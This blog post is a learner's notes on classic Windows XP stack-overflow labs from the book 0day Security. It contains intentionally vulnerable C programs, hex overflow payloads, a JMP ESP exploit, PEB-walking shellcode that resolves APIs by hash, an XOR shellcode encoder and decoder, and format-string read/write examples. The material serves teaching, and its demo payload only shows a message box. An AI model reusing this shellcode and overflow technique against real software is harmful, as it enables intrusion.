Rereading 0day Security (1), Stack Overflows and Shellcode Basics

3869 words
19 minutes
Rereading 0day Security (1), Stack Overflows and Shellcode Basics
This post is also available in 简体中文.

This series is the notes I kept in 2020 while working through the labs in 0day Security: Software Vulnerability Analysis Techniques, 2nd edition (by failwest and others, a classic Chinese book on Windows exploitation). The lab designs and most of the code come from the book. The debugging and the understanding are my own, so if you want to learn this properly, please go read the book. In 2026 I tidied everything up again, fixed a few mistakes in the code and in what I wrote, and added a “Looking at it again today” section at the end of each post about how much of these tricks still works on today’s Windows.

A bug that can make software do something outside what it was designed to do is a vulnerability. This post walks through exploiting a few simple buffer overflows.

  • A functional logic flaw (a bug)
  • A security logic flaw (a vulnerability)

PE basics#

How a PE file maps into virtual memory#

  • ImageBase: the load base address, by default 0x00400000 for an .EXE and 0x10000000 for a .DLL
  • FileOffset: the offset in the file
  • VirtualAddress: the virtual address, where it lands in memory
  • RelativeVirtualAddress: the relative virtual address, the offset of a VA from the load base

VA = ImageBase + RVA

Padding and alignment rules#

  • On disk, each section of a PE file is stored in units of 0x200 bytes. A section smaller than 0x200 is padded with 0x0, and a bigger one gets another 0x200 chunk
  • In memory, each section is stored in units of 0x1000 bytes, with the same rules
  • 0x200 and 0x1000 are the defaults of compilers like VC6. The real numbers are FileAlignment and SectionAlignment in the PE header

SectionOffset = RVA - FileOffset
FileOffset = VA - ImageBase - SectionOffset = RVA - SectionOffset

For example, if the .text section has RVA=0x1000 and FileOffset=0x400, then SectionOffset=0xC00
The instruction at 0x00404141 is at file offset 0x00404141-0x00400000-(0x1000-0x400)=0x3541

Calling conventions#

CSysCallStdCallBASICFORTRANPASCAL
Argument push orderright->leftright->leftright->leftleft->rightleft->rightleft->right
Who cleans up the stackcallercallercalleecalleecalleecallee

SysCall here is the convention the OS/2 API used. Like cdecl, the caller cleans the stack (and AL carries the argument count). It has nothing to do with the x86 syscall instruction. The ones you actually meet on Windows are C (cdecl) and StdCall, and almost the whole Win32 API is StdCall.

Buffer overflows#

Stack frames sit next to each other and so do local variables. If an array runs past its end, it overwrites the local variables, then the function’s return address
Flooding the return address in the stack frame lets you control where the program goes


Shellcode#

How the exploit and the shellcode (payload) split the work#

  • The exploit’s job is to hit one specific vulnerability precisely, with the goal of hijacking EIP
  • The shellcode is the payload, the code (malicious or friendly) that actually runs
  • Shellcode is usually generic, while an exploit only works against one particular bug

Examples#

These examples use a simple password check to test the bug


Overflowing a buffer to change a flag#

Code (ExpStd0101)#
Note

Built on: Windows XP SP3, Visual C++ 6, Debug Run on: Windows XP SP3

#include <stdio.h>
#include <string.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[8];
authenticated = strcmp(password, PASSWORD);
strcpy(buffer, password);
return authenticated;
}
int main()
{
int valid_flag = 0;
char password[1024];
while(1)
{
printf("Input Number:");
scanf("%s", password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("ERROR!");
}
else
{
printf("OK!");
break;
}
}
}
Analysis (ExpStd0101)#
  • Quick look

    • Type 99999999 and its trailing '\0' lands in the 9th byte, which turns the lowest byte of authenticated from 0x1 into 0x0
    • strcmp matters here too. If str1<str2, authenticated is -1, stored as FFFFFFFF in two’s complement, and overflowing the low FF into 00 does nothing. So not every 8-character input gets past the check
  • Checking further

    • With eight 9s, the 8-byte buffer fills up and 1 byte of authenticated gets overwritten
    • With eleven 9s, the 8-byte buffer fills up and all 4 bytes of authenticated are overwritten, so it becomes 0x00393939
    • With fifteen 9s, the 8-byte buffer fills up, the 4 bytes of authenticated are overwritten, and so is this function’s saved EBP slot (which holds the caller’s EBP)
    • With nineteen 9s, the 8-byte buffer fills up, then 4 bytes of authenticated, 4 bytes of EBP and 4 bytes of return address are overwritten
  • Going further

    • You can’t type some invisible characters on a keyboard, so the next test reads the input from a file

Steering the program with a hardcoded address#

This one reads the input file with FILE

Code (ExpStd0102)#
Note

Built on: Windows XP SP3, Visual C++ 6, Debug Run on: Windows XP SP3

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[8];
authenticated = strcmp(password, PASSWORD);
strcpy(buffer, password);
return authenticated;
}
int main()
{
int valid_flag = 0;
char password[1024];
FILE * fp;
if(!(fp = fopen("password.txt", "rw+")))
{
exit(0);
}
fscanf(fp, "%s", password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("ERROR!");
}
else
{
printf("OK!");
}
fclose(fp);
}
Analysis (ExpStd0102)#

First I write the shellcode with a known address. That address depends on the compiler, and the load address differs between systems, so this only works for testing

  • What we need
    • Address of the success branch: 0x0040111F
    • Memory stores values in reverse (little endian), so write them backwards
  • Edit password.txt in a hex editor like this
34 33 32 31 34 33 32 31 34 33 32 31 34 33 32 31
1F 11 40 00
  • Run the program, and now
    • The stack slot at 0x0012FB24 holds the return address of verify_password
    • It has been overwritten with 0040111F, the address of the success branch
  • The success branch address replaced the return address, but the stack is unbalanced, so the program prints success and then crashes

Adding a payload (shellcode)#

The buffer is bigger now so it can carry the payload
A DLL is loaded dynamically so we can call its API

Code (ExpStd0103)#
Note

Built on: Windows XP SP3, Visual C++ 6, Debug Run on: Windows XP SP3

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[44];
authenticated = strcmp(password, PASSWORD);
strcpy(buffer, password);
return authenticated;
}
int main()
{
int valid_flag = 0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");
if(!(fp = fopen("password.txt", "rw+")))
{
exit(0);
}
fscanf(fp, "%s", password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("ERROR!");
}
else
{
printf("OK!");
}
fclose(fp);
}
Analysis (ExpStd0103)#

Goal: plant code during the password check that pops up a MessageBox

  • What we need
    • Start of the array: 0x0012FAF0 (also where the shellcode starts running)
    • Address of MessageBoxA: 0x77D507EC
    • The text in hex: 6661696C77657374 (failwest, the string the book uses for its message box)
  • The machine code it adds up to
Machine code (hex)AssemblyNotes
33DBXOR EBX, EBXZero EBX so the shellcode has no 0 (terminator) bytes
53PUSH EBXThe \0 at the end of the string
68 77657374PUSH 74736577Push the text bytes west (0x77657374)
68 6661696CPUSH 6C696166Push the text bytes fail (0x6661696C)
8BC4MOV EAX, ESPESP points at the string failwest, hand it to EAX
53PUSH EBXMB_OK
50PUSH EAXMessage
50PUSH EAXCaption
53PUSH EBXHandle
B8 EC07D577MOV EAX, 0x77D507ECMove the hardcoded address of MessageBoxA into EAX
FFD0CALL EAXCall MessageBoxA
  • Write the machine code into password.txt in order
    • Bytes 53-56 get the return address (the start of the buffer), and every other byte is 0x90
  • Filling it in and testing, only 2 bytes of space were left at the end. The one imperfect thing is that the program crashes on exit

Here’s the final password.txt

33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53
50 50 53 B8 EC 07 D5 77 FF D0 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 F0 FA 12 00

The weak spots of this approach are the hardcoded addresses and the stack moving around. Let’s fix the stack position first.


The ESP trampoline#

Shellcode often doesn’t sit at a fixed place in memory, so you can’t just write in one constant
In other words, the stack address of that buffer array isn’t always the same
When the CPU jumps to a stale address it may hit an invalid instruction exception, the program crashes, and the shellcode never runs

How it works#

Find the address of a JMP ESP instruction in a system DLL the program has already loaded, and overwrite the return address with that
That pins down where the shellcode is precisely while coping with the stack moving around
The stack grows from high addresses down, the CPU executes from low addresses to high, and the overflow also floods from low addresses to high
So you flood the space before it with junk and line up the start of the shellcode exactly at [ESP], and the shellcode finds itself wherever the stack happens to be

Writing the shellcode#

Layout#

Junk + the JMP ESP address (landing exactly on the function’s return address) + the command code (a MessageBox popup for testing)

How it plays out:

  • After retn it jumps to JMP ESP, and ESP goes up by 4
  • JMP ESP then lands right on the command code

Numbers we need#

  • JMP ESP address: 0x77D29353 in User32.dll (it doesn’t have to be a real instruction from the original code, any bytes 0xFFE4 will do)
  • Size of the junk: 52 bytes = buffer (44 bytes) + authenticated (4 bytes) + EBP (4 bytes)

The final code#

This is the command code to run

33DB xor ebx,ebx
53 push ebx
68 77657374 push 0x74736577
68 6661696C push 0x6C696166
8BC4 mov eax,esp
53 push ebx
50 push eax
50 push eax
53 push ebx
B8 EA07D577 mov eax,user32.MessageBoxA
FFD0 call eax
B8 FACA817C mov eax,kernel32.ExitProcess
FFD0 call eax

The final shellcode

34 33 32 31 34 33 32 31 34 33 32 31 34 33 32 31
34 33 32 31 34 33 32 31 34 33 32 31 34 33 32 31
34 33 32 31 34 33 32 31 34 33 32 31 34 33 32 31
34 33 32 31 53 93 D2 77 33 DB 53 68 77 65 73 74
68 66 61 69 6C 8B C4 53 50 50 53 B8 EA 07 D5 77
FF D0 B8 FA CA 81 7C FF D0

This time MessageBoxA is at 0x77D507EA, while the earlier one used 0x77D507EC, and both pop the box. Those two bytes are most likely the mov edi, edi at the start of the function (reserved for hot patching since XP SP2), so skipping it and starting right at push ebp works fine. I also added an ExitProcess at the end, so the program no longer crashes after the popup.

The stack position is solved, but the API addresses are still hardcoded and break on another machine. The next step is to let the shellcode find the APIs on its own.


Loading APIs dynamically#

Finding API addresses through the TEB#

Finding Kernel32.dll#

  • In user mode, the base of the FS segment is the current thread’s TEB ([FS:0x18] holds the TEB’s own address, and [FS:0] is the head of the SEH chain)
  • At offset 0x30 in the TEB, [TEB + 0x30], sits the address of the PEB
  • At offset 0xC in the PEB, [PEB + 0xC], sits PEB_LDR_DATA
  • Microsoft’s official description of PEB_LDR_DATA is here. In C it looks like this
typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

And here’s what I found while debugging

typedef struct _PEB_LDR_DATA {
ULONG Length;
UCHAR Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList; // +0x0C
LIST_ENTRY InMemoryOrderModuleList; // +0x14
LIST_ENTRY InInitializationOrderModuleList; // +0x1C
PVOID EntryInProgress;
UCHAR ShutdownInProgress;
PVOID ShutdownThreadId;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
  • We read InInitializationOrderModuleList (the modules in initialization order) to get the address of Kernel32.dll. The list is a LIST_ENTRY, which Microsoft documents like this
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

What I found while debugging is that the list nodes are actually embedded in each module’s LDR_DATA_TABLE_ENTRY. Looking forward from the InInitializationOrderLinks node, it goes like this

typedef struct LinkNode
{
struct LinkNode *Flink;
struct LinkNode *Blink;
PVOID DllAddress; // +0x08, which is DllBase in LDR_DATA_TABLE_ENTRY
} LinkNode;
  • So DllAddress lives at +0x8 in each list node. On XP the first two nodes of this list are Ntdll -> Kernel32. Starting with Windows 7 there’s a KernelBase in between, making it Ntdll -> KernelBase -> Kernel32, so the “take the second node” trick below only gets you kernel32 on XP

Finding API addresses (reversing Kernel32.dll)#

The previous part got us Kernel32’s base address. This part uses it to get LoadLibrary and GetProcAddress, which we then use to get every other function

  • Offset 0x3C points to the PE header, whose signature is 0x5045, the text PE
  • Another 0x78 from there is the export table address (Export Directory RVA). That puts us at 0x168, and the value is 0x262C
  • Another 0x4 is the export table size (Export Directory Size), which is 0x6CFD
  • On disk the smallest section unit is 0x200, but loaded into memory it becomes 0x1000. The PE header takes 0x400 in the file but 0x1000 once mapped, a difference of 0xC00, so subtract 0xC00 from 0x262C to get the Export Directory’s position in the file, 0x1A2C
  • The export directory (IMAGE_EXPORT_DIRECTORY) holds the RVAs of three tables. +0x1C is the function address table AddressOfFunctions, +0x20 the name table AddressOfNames, and +0x24 the ordinal table AddressOfNameOrdinals
  • To find a function, look up its name in the name table and note its index i, take the i-th WORD from the ordinal table to get the ordinal, then use that ordinal to read the RVA from the function address table. Add the base, and that’s the function’s address
  • That’s how you find LoadLibraryA and GetProcAddress, and with those two you can get any other API

Debugging shellcode (ExpStd0301)#

char shellcode[] = "\x10\x10";
void main()
{
__asm
{
lea eax, shellcode
push eax
ret
}
}

Shellcode that loads APIs dynamically#

Working it out#

  • API functions we need
    • MessageBoxA (User32.dll)
    • ExitProcess (Kernel32.dll)
    • LoadLibraryA (Kernel32.dll)
  • The puzzle is how to find the API addresses while keeping the shellcode as short as possible (with no function names in it)

Hashing function names#

The idea#
  • Bring in a small hash function
  • Its result is called the digest
  • Hash every function name we come across while searching
The algorithm (ExpStd0302)#
#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fun_name)
{
DWORD digest = 0;
while(*fun_name)
{
digest = ((digest << 25) | (digest >> 7));
digest += *fun_name;
fun_name++;
}
return digest;
}
void main()
{
DWORD hash;
hash = GetHash("MessageBoxA");
printf("Hash is %x", hash);
}

It gives 0x1e380a6a for MessageBoxA, 0x4fd18963 for ExitProcess and 0x0c917432 for LoadLibraryA, the three values pushed below.


The final shellcode (ExpStd0303)#

int main()
{
_asm{
;flag
nop
nop
nop
nop
nop
cld ;clear flag DF
;store hash
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi, esp ;esi = addr of first func hash
lea edi, [esi-0xc] ;edi = addr to start writing func
;make some stack space
xor ebx, ebx
mov bh, 0x04
sub esp, ebx
;push a pointer to "user32" onto stack
mov bx, 0x3233 ;rest of ebx is null
push ebx
push 0x72657375
push esp
xor edx, edx
;find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ;ebx = PEB address
mov ecx, [ebx + 0x0c] ;ecx = loader data pointer
mov ecx, [ecx + 0x1c] ;ecx = first entry in Initialization order list
mov ecx, [ecx] ;ecx = second entry
mov ebp, [ecx + 0x08] ;ebp = base address of kernel32.dll
find_lib_functions:
lodsd ;load next hash into eax and increment esi
cmp eax, 0x1e380a6a ;hash of MessageBoxA - trigger and LoadLibrary("user32")
jne find_functions
xchg eax, ebp ;save current hash
call [edi - 0x8] ;LoadLibraryA
xchg eax, ebp ;restore current hash and update ebp with base address of user32.dll
find_functions:
pushad ;preserve registers
mov eax, [ebp + 0x3c] ;eax = start of PEheader
mov ecx, [ebp + eax + 0x78];ecx = relative offset of export table
add ecx, ebp ;ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ;ebx = relative offset of names
add ebx, ebp ;ebx = absolute addr of names table
xor edi, edi ;edi will count through the functions
next_function_loop:
inc edi ;inc function counter
mov esi, [ebx + edi * 4] ;esi = relative offset of current function name
add esi, ebp ;esi = absolute addr of current function name
cdq ;edx will hold hash (we know eax is small)
hash_loop:
movsx eax, byte ptr[esi]
cmp al, ah
jz compare_hash
ror edx, 7
add edx, eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp + 0x1c] ;compare to the requested hash(saved on stack from pushad)
jnz next_function_loop
mov ebx, [ecx + 0x24] ;ebx = relative offset of ordinals table
add ebx, ebp ;ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi] ;di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ;ebx = relative offset of address table
add ebx, ebp ;ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] ;add to ebp(base addr of module) the relative offset of matched function
xchg eax, ebp ;move func addr into eax
pop edi ;edi is last onto stack in pushad
stosd ;write function addr to [edi] and increment edi
push edi
popad ;restore registers and loop until we reach end of last hash
cmp eax, 0x1e380a6a
jne find_lib_functions
function_call:
xor ebx, ebx
push ebx ;cut string
push 0x74736577
push 0x6c696166 ;push failwest
mov eax, esp ;load address of failwest
push ebx
push eax
push eax
push ebx
call [edi - 0x4] ;call MessageBoxA
push ebx
call [edi - 0x8] ;call ExitProcess
;flag
nop
nop
nop
nop
}
}

The first time I copied this assembly I got three spots wrong ([ebx + 0x1c], [ebp + edi * 4] and mov ebx, ebp). The machine code used in the later posts was always right, so this time I disassembled the machine code and fixed the listing to match.


Encoding shellcode#

Shellcode can’t contain 0x00, and sometimes it has to dodge other bad characters too. The simplest fix is to encode it and put a tiny decoder in front.

XOR encoding#

Things to watch#

  • The key byte must not equal any byte already in the shellcode, or you get a 0
  • You can encode different regions with different key bytes, at the cost of more complexity
  • You can run several rounds of encoding over the shellcode

The encoder (ExpStd0401)#

void encoder(char* input, unsigned char key, int display_flag)
{
int i = 0, len = 0;
FILE* fp;
unsigned char * output;
len = strlen(input);
output = (unsigned char*)malloc(len + 1);
if(!output)
{
printf("memory error!\n");
exit(0);
}
// encode shellcode
for(i = 0; i < len; i++)
{
output[i] = input[i] ^ key;
}
if(!(fp=fopen("encode.txt", "w+")))
{
printf("output file create error!");
exit(0);
}
fprintf(fp, "\"");
for(i = 0; i< len; i++)
{
fprintf(fp, "\\x%0.2x", output[i]);
if((i + 1) % 16 == 0)
{
fprintf(fp, "\"\n\"");
}
}
fprintf(fp, "\";");
fclose(fp);
printf("dump the encoded shellcode to encode.txt OK!\n");
if(display_flag)
{
for(i = 0; i < len; i++)
{
printf("%0.2x ", output[i]);
if((i + 1) % 16 == 0)
{
printf("\n");
}
}
}
free(output);
}

The decoder (ExpStd0402)#

  • The decoder runs together with the shellcode
  • It assumes EAX points at the start of the shellcode when it begins
  • The last byte of the shellcode is 0x90
void main()
{
__asm
{
add eax, 0x14 ;skip past the decoder (exactly 0x14 bytes) to where the shellcode starts
xor ecx, ecx
decode_loop:
mov bl, [eax + ecx]
xor bl, 0x44 ;0x44 is the key
mov [eax + ecx], bl
inc ecx
cmp bl, 0x90 ;a 0x90 at the end marks where to stop
jne decode_loop
}
}

Making shellcode smaller#

Tricks#

  • Pick short instructions
    • xchg eax, reg ;swap eax with another register
    • lodsb ;load the byte at esi into al and advance esi
    • lodsd ;load the dword at esi into eax and advance esi
    • stosd ;copy eax to the address in edi, adding 0x4 to edi each time; with rep, ecx is the count
    • stosb ;copy al to the address in edi, adding 0x1 to edi each time; with rep, ecx is the count
    • pushad/popad ;save/restore every register on the stack
    • cdq ;sign-extend eax into edx, which works as mov edx, 0 when eax<0x80000000
  • Combine instructions that can do two jobs at once
  • Zero out a patch of stack before pushing API arguments, so you only need to push the non-zero ones
  • Use code as data and data as code
  • If the data above the top of the stack is still useful, raise the stack top to protect it for later
  • Some registers always get saved on the stack around API calls, but most functions never use EBP, so EBP is a good place to keep data
  • Store APIs as hashes

Choosing a good hash#

  • 8 bits can only tell 256 values apart, so collisions are unavoidable. But if the function you need is the first one in a collision, you can still use it
  • In other words, some collisions are fine

Format string bugs#

Last, a quick note on another kind of bug that can change memory. Unlike an overflow, it doesn’t need to write out of bounds.

What’s wrong with printf#

Example

#include "stdio.h"
void main()
{
int a = 44,b = 77;
printf("a=%d, b=%d\n",a,b);
printf("a=%d, b=%d\n");
}
  • The second call in this code has no list of variables to print
  • Still, the second call doesn’t cause a compile error, and the program runs normally

Reading memory with printf#

Example

#include "stdio.h"
int main(int argc, char ** argv)
{
printf(argv[1]);
}
  • Pass in an ordinary string and you get an ordinary string back
  • But if it contains format specifiers, it reads data off the stack

Writing memory with printf#

Example

#include "stdio.h"
int main(int argc, char ** argv)
{
int len_print = 0;
printf("before write: length=%d\n", len_print);
printf("hello:%d%n\n",len_print, &len_print);
printf("after write: length=%d\n", len_print);
}
  • The %n specifier counts how many characters were printed so far and writes that number back into len_print

Looking at it again today#

Everything in this post is still right in principle, but on today’s Windows you basically can’t reproduce the labs anymore.

Fixed addresses were the first thing to go. Vista brought ASLR, and the MSVC linker now turns on /DYNAMICBASE by default, so a hardcoded jmp esp address like 0x77D29353 is wrong after a single reboot, and the stack isn’t always at 0x0012XXXX anymore. The stack itself isn’t executable by default (DEP), so jumping to shellcode on the stack just raises an access violation. And if a function has an array in it, the compiler adds a GS cookie and checks it before returning. The next few posts go through these one at a time.

Overwriting the return address now also has to get past the hardware. Intel CET’s shadow stack keeps a second copy of the return address inside the CPU, and if the two don’t match on ret, you get an exception right away. Windows calls it Hardware-enforced Stack Protection. It only applies to 64-bit processes linked with /CETCOMPAT running on a CPU that supports CET, and high-value targets like browsers turned it on long ago.

The PEB walk, on the other hand, hasn’t aged at all. On 64-bit the TEB is in the GS segment, the PEB is at gs:[0x60], and Ldr is at +0x18 in the PEB. The offsets changed, the idea is exactly the same. Today’s shellcode more often recognizes kernel32 by comparing module names (BaseDllName) instead of counting positions, because of the extra KernelBase that showed up in Win7. Counting positions has to change with every version, while names are more stable. And because almost every piece of shellcode has to walk this same path, “read PEB->Ldr, walk the export table, hash function names” has become something EDRs and antivirus watch very closely.

In MSVC’s CRT, %n has been disabled by default since VS2005. Hitting it calls the invalid parameter handler, and you have to turn it on with _set_printf_count_output first. glibc still supports %n, but with _FORTIFY_SOURCE=2, a format string in writable memory that contains %n makes the program exit with %n in writable segment detected. Still, that printf(argv[1]) up there reads the stack with %x just fine anywhere, so format string bugs are still real today. Using one to write memory is just a lot harder.

Share Article

If this article helped you, please share it with others!

Rereading 0day Security (1), Stack Overflows and Shellcode Basics
https://blog.lumysia.net/posts/reread-0day-1-stack-overflow-and-shellcode/
Author
Livia
Published at
2020-10-18
Random PostsRandom

Comments

Table of Contents